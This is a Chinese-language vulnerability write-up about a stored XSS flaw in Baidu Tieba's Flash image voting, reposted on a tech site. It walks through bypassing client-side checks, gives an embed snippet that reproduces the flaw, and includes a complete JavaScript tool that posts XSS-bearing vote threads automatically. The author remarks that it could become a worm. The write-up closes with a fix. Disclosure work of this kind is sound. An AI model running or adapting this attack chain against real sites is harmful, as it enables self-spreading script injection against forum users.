当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

百度贴吧存储型XSS

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

由于是帖子正文的存储型Xss,自动触发,涛涛电脑知识网,可蠕虫,危害你们比俺清楚。
发现流程如下:
 
1. 平时有事没事的时候,就会去自己的gainover吧测试一下。
 
2. 今天晚上又去了,一直还没用过投票功能咧,就进去看了下。
 
3. 发现有一个图片投票的功能,于是就随便弄了3个图,发布了一下。
 
4. 发布之后,发现这个投票,是Flash做的。
 
 
 
 


 
5. 既然图片是在Flash里加载的,那么肯定是用的Loader类来加载外部图片URL实现的了。
 
6. 直觉告诉我,这里可能存在一处安全问题。
 
7. 这里存在安全问题需要满足几个条件,A. 投票的flash允许执行脚本,即allowscriptaccess需为samedomain/未设置/always,但是投票的flash文件与百度贴吧不同域,因为allowscriptacess必须为always。B. flash里未对外部加载的URL内容进行判断
 
8. F12 打开调试工具,可以看到我们运气真好,allowscriptaccess是always,希望就在前方。
 
 
 
 
 
9. 接着我们再次去发表投票的位置,将其中一个图片地址改为#.gif, 提交的时候,提示如下:
 
 
 


 
 
10. 但是,抓包不难看出,这种验证仅仅是客户端的验证。我们修改请求数据,很容易就成功绕过了。
 
11. 用抓包工具,查看我们生成的投票。可以看见,确实调用了我们的flash文件。
 
 
?r=166486139965bce7156bc36762bb2c3edf&voteId=0e1e9a0f95d922fc978c0adf&tn=ajaxCanVote&stamp=1339767810003
 
 
 


 
 
进一步用以下代码在本地进行模拟 (例如:)。
 
 
<embed src="?r=166486139965bce7156bc36762bb2c3edf&voteId=0e1e9a0f95d922fc978c0adf&tn=ajaxCanVote&stamp=1339767810003" allowscriptaccess="always" type="application/x-shockwave-flash"></embed>
 
成功弹窗。
 
12. 综上,我们在7 里所说的2个条件,此处均满足,也就意味着,确实存在安全问题。
 
 
-------------------- 漏洞利用篇-------------------------
 
上面是分析过程,下面为了方便我们对此漏洞的利用,我们对投票过程加以分析。可以得到以下流程。
 
1. 添加一个投票:POST ?alt=json
 
2. 获取贴吧tbs: GET ?t=0.7085538243409246
 
3. 发表一个投票贴: POST
 
4. 关联投票与投票贴:POST ?alt=json
 
基于以上步骤,我拿js写了一个简单的发帖工具:
 
 
<textarea id="t" style="width:100%;height:150px"></textarea>
       <input type="button" value="Post a Xss vote" onclick="ok()" />
       <script type="text/javascript">
              var config={
                     "kw":"gainover",
                     "id":"751341",
                     "title":"Just test for fun"
              };
              //添加一个投票
              function addVote (){
                     $("t").value+="添加投票中....\n";
                     Net.post("?alt=json",{
                            "product_name":"forum",
                            "title":config.title,
                            "expire_time":"2012-06-22 21:18:44",
                            "item_type":"1",
                            "max_select_num":"1",
                            "perm":"0",
                            "attr_key_1":"forum_name",
                            "attr_value_1":config.kw,
                            "attr_key_2":"forum_id",
                            "attr_value_2":config.id, //gainover吧
                            "item_title_1":"vote 1:"+$R(6,"ns"),
                            "item_content_1":"#1.gif",
                            "item_title_2":"vote 2:"+$R(6,"ns"),
                            "item_content_2":"",
                            "item_title_3":"vote 3:"+$R(6,"ns"),
                            "item_content_3":"",
                            "ie":"utf-8"
                     },function(rs){
                            $("t").value+="添加投票成功\n";
                            var vid=rs.vote_id;
                            var sid=rs.sign_id;
                            getTBS(function(rs){
                                   addVotePost(rs.tbs,vid,sid);
                            });
                     },"json");
              }
              //获得tbs
              function getTBS (callback){
                     $("t").value+="获取tbs参数....\n";
                     Net.get("?t="+Math.random(),function(rs){
                            $("t").value+="添加tbs参数成功\n";
                            if(callback){
                                   callback(rs);
                            }
                     },"json");
              }
              //添加一个投票贴
              function addVotePost (tbs,vid,sid){
                     $("t").value+="发表投票贴中....\n";
                     Net.post("",{
                            "kw":config.kw,
                            "title":config.title,
                            "content":"",
                            "tid":"0",
                            "floor_num":"0",
                            "anonymous":"",
                            "rich_text":"",
                            "pic_url":"",
                            "sign_id":"",
                            "vcode":"",
                            "fid":config.id,
                            "vid_md5":vid+","+sid,
                            "vcode_md5":"",
                            "ie":"utf-8",
                            "tbs":tbs
                     },function(rs){
                            if(rs.no==0&&rs.error==""){
                                   $("t").value+="发表带Xss的投票贴成功\n";
                                   addVoteRelation(rs.data.tid,vid,sid);
                            }else{
                                   $("t").value+="addVotePost("+tbs+","+vid+","+sid+") 出错\n";
                            }
                     },"json");
              }
              //将投票贴与投票关联
              function addVoteRelation (tid,vid,sid){  //thread_id,vote_id,sign_id
                     Net.post("?alt=json",{
                            "product_name":"forum",
                            "id_1":tid,
                            "id_2":config.id,
                            "vote_id":vid,
                            "sign_id":sid,
                            "ie":"utf-8",
                            "_":""
                     },function(rs){
                            $("t").value+="Complete, it's OK!!!";
                     },"json");
              }
              function ok (){
                     $("t").value="";
                     addVote();
              }
       </script>
 
 
当然以上过程,修改为自动化的话,就变蠕虫啦,涛涛电脑知识网,这里我只是给出一个本地点击一下按钮,即可发布一篇带有Xss的投票贴的演示。
 
 


 
 
 
 
-----------------------------------------
 
效果见漏洞证明!
漏洞证明:见: (为了安全考虑,帖子会自动加载我的no.js,但是no.js里的代码已经被我删掉,因而不会有弹窗。)
 
下面是我截的弹窗图
 
---------------------------
 
 
 


 
 
---------------------------
 
抓包加载图
 
---------------------------
 
 


 
 
 
---------------------------
 
调试工具节点图
 
---------------------------
 
 







 
 
修复方案:

我想,这个投票只是个投票请求,应该不需要FLASH与js的交互吧,因而将投票的flash的allowscriptaccess参数改为never是最简单的解决办法

作者:gainover

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1